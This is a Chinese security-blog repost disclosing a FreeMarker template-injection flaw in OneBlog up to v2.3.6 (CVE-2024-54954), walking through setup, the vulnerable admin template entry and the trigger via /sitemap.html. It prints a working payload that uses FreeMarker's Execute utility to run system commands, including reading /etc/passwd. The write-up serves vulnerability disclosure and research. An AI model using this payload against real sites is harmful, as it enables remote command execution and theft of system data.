OneBlog <=v2.3.6 存在模板注入漏洞CVE原创(CVE-2024-54954t)

admin
admin
admin
140323
文章
117
评论
2025年3月21日00:29:01评论21 views字数 562阅读1分52秒阅读模式
一、漏洞环境搭建
  1. 代码下载：
https://gitee.com/yadong.zhang/DBlog
   2. 使用idea搭配phpstudy的mysql数据库，修改以下文件，修改数据库连接地址。
src/main/resources/application-dev.yml
    3. 配置好以后启动项目。        
OneBlog <=v2.3.6 存在模板注入漏洞CVE原创(CVE-2024-54954t)
二、审计
    1. 在 blog-core/pom.xml 文件中引用该 spring-boot-starter-freemarker 组件。
OneBlog <=v2.3.6 存在模板注入漏洞CVE原创(CVE-2024-54954t)
2. 查找漏洞点在后端网站管理-模板管理部门。找到 TM_SITEMAP_HTML 文件并将其写入 POC。
<#assign value="freemarker.template.utility.Execute"?new()>${value("open -a Calculator")}<#assign value="freemarker.template.utility.Execute"?new()>${value("cat /etc/passwd")}
OneBlog <=v2.3.6 存在模板注入漏洞CVE原创(CVE-2024-54954t)
OneBlog <=v2.3.6 存在模板注入漏洞CVE原创(CVE-2024-54954t)
3.保存后，访问首页找到下方的站点地图，点击触发。您也可以直接访问 /sitemap.html 来触发漏洞。
OneBlog <=v2.3.6 存在模板注入漏洞CVE原创(CVE-2024-54954t)
OneBlog <=v2.3.6 存在模板注入漏洞CVE原创(CVE-2024-54954t)
OneBlog <=v2.3.6 存在模板注入漏洞CVE原创(CVE-2024-54954t)
OneBlog <=v2.3.6 存在模板注入漏洞CVE原创(CVE-2024-54954t)

原文始发于微信公众号（hack boy）：OneBlog <=v2.3.6 存在模板注入漏洞CVE原创(CVE-2024-54954t)

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月21日00:29:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   OneBlog <=v2.3.6 存在模板注入漏洞CVE原创(CVE-2024-54954t)https://cn-sec.com/archives/3863788.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息